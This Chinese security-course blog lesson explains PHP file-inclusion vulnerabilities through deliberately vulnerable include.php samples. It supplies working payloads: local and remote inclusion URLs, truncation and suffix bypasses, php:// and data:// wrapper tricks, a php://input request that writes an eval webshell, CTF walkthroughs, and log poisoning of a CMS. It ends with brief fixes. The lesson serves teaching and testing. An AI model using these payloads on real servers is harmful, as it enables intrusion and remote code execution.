31:WEB漏洞-文件操作之文件包含漏洞全解
思维导图
知识点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | 文件包含漏洞 原理,检测,类型,利用,修复等 原理:将文件以脚本执行 文件包含各个脚本代码 ASP,PHP,JSP,ASPXdeng <!--# include file= "1.asp" --> <!--# include file= "1.aspx" --> <c:import url= "http://thief.one/1.jsp" > <jsp: include page= "head.jsp" /> <?php include ( 'test.php' ); ?> 本地包含-无限制,有限制 http: //127.0.0.1:8080/include.php?filename=1.txt http: //127.0.0.1:8080/include.php?filename=../../../www.txt 00截断:条件:magic_quotes_gpc = Off php版本<5.3.4 http: //127.0.0.1:8080/include.php?filename=../../../www.txt%00 长度截断:条件:windows,点号需要长于256;linux长于4096 远程包含-无限制,有限制 http: //127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt http: //127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20 http: //127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23 http: //127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt? 各种协议流玩法 php: // 1.读取文件源码用法 http: //127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名] 2.执行php代码用法 http: //127.0.0.1:8080/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 3.写入一句话木马用法 http: //127.0.0.1:8080/include.php?file=php://input [POST DATA部分] <?php fputs ( fopen ( 'shell.php' , 'w' ), '<?php @eval($_GET[cmd]); ?>' ); ?> data: // 执行php代码用法 http: //127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?> http: //127.0.0.1:8080/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b file: // 1.file: //[文件的绝对路径和文件名] http: //127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt 2.[文件的相对路径和文件名] http: //127.0.0.1:8080/include.php?filename=./phpinfo.txt 其他参考:https: //www.cnblogs.com/endust/p/11804767.html 文件包含修复方案: <1>固定后缀:比如 include ( $filename . "html" );,有绕过风险 <2>固定文件:比如 include ( "1.txt" ); <3>WAF产品。 |
本课重点
- 案例1:本地文件包含代码测试-原理
- 案例2:远程文件包含代码测试-原理
- 案例3:各种协议流提交流测试-协议
- 案例4:CTF-南邮大,i春秋百度杯真题-白盒
- 案例5:某CMS程序文件包含利用-黑盒
案例1:本地文件包含代码测试-原理
无限制
文件包含漏洞原理,简单说,就是将文件以脚本执行。比如服务器本地有一个1.txt文件(里面是一个php脚本),还有一个文件包含漏洞。
include.php
1 2 3 4 | <?php $filename = $_GET [ 'filename' ]; include ( $filename ); ?> |
1.txt
1 | <?php phpinfo(); ?> |
如果单纯地打开1.txt文件,里面的脚本不会执行,浏览器直接显示文件内容。如下图所示。
如果配合文件包含漏洞,就会将文件以脚本执行。
还可以执行其他文件夹下的脚本。
有限制
include.php如下所示,限制文件后缀为.html
1 2 3 4 | <?php $filename = $_GET [ 'filename' ]; include ( $filename . "html" ); ?> |
此时 包含本地文件1.txt时报错,不再执行脚本
绕过方法1:%00截断
绕过方法2:长度截断,在filename=1.txt后面输入多个点号。windows点号需要长于256;linux长于4096
PHP包含漏洞源码:https://pan.baidu.com/s/1x_mwVF--xxmoKAvDJ8mRsw 提取码:xiao
案例2:远程文件包含代码测试-原理
无限制
php远程文件包含的前提条件是开启了allow_url_include
攻击者服务器上有一个readme.txt,内容如下
若目标网站上有一个文件上传漏洞(无限制)
include.php
1 2 3 4 | <?php $filename = $_GET [ 'filename' ]; include ( $filename ); ?> |
那么可以在目标网站上包含攻击者服务器上的文件,执行脚本。
若把文件内容改为一句话木马
则可以利用文件包含漏洞执行使用菜刀等工具连接目标服务器。
有限制
include.php如下所示,限制文件后缀为.html
1 2 3 4 | <?php $filename = $_GET [ 'filename' ]; include ( $filename . "html" ); ?> |
此时 包含远程文件readme.txt时报错,不再执行脚本
绕过方法1:在后面加?
绕过方法2:在后面加%23
绕过方法3:在后面加%20
案例3:各种协议流提交流测试-协议
各协议的利用条件和方法
各语言对协议的支持
<1>php://filter读取文件源码,结果base64编码,需要自行解码。
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
<2>php://input执行php代码
<3>php://input写入一句话木马
<4>file://访问本地文件
<5>data://执行php代码
案例4:CTF-南邮大,i春秋百度杯真题-白盒
某CTF题
<1>网站地址:http://4.chinalover.sinaapp.com/web7/index.php
<2>尝试读取index.php内容,读取成功。
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
<3>将返回值在本地base64解码,拿到flag。
i春秋某Web Include CTF题
<1>网站:https://www.ichunqiu.com/battalion?t=1&r=0
首页打开如下图所示,说明含有文件包含漏洞。
<2>尝试读取本目录下的文件结构,成功。
<3>尝试读取dle345ae.php文件,成功拿到flag。
<4>还可以使用php://filter协议,读取文件内容后,到本地base64解码,拿到flag。
案例5:某CMS程序文件包含利用-黑盒
<1>首页打开如下
<2>在网上搜索易酷CMS是否有公开漏洞,搜到有本地文件包含漏洞。
<3>将一句话木马写入日志中
<4>服务器生成日志,里面有一句话木马。
<5>利用文件包含漏洞与一句话木马,成功执行脚本。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET 9 new features-C#13新的锁类型和语义
· Linux系统下SQL Server数据库镜像配置全流程详解
· 现代计算机视觉入门之:什么是视频
· 你所不知道的 C/C++ 宏知识
· 聊一聊 操作系统蓝屏 c0000102 的故障分析
· 不到万不得已,千万不要去外包
· C# WebAPI 插件热插拔(持续更新中)
· 会议真的有必要吗?我们产品开发9年了,但从来没开过会
· 如何打造一个高并发系统?
· 【译】我们最喜欢的2024年的 Visual Studio 新功能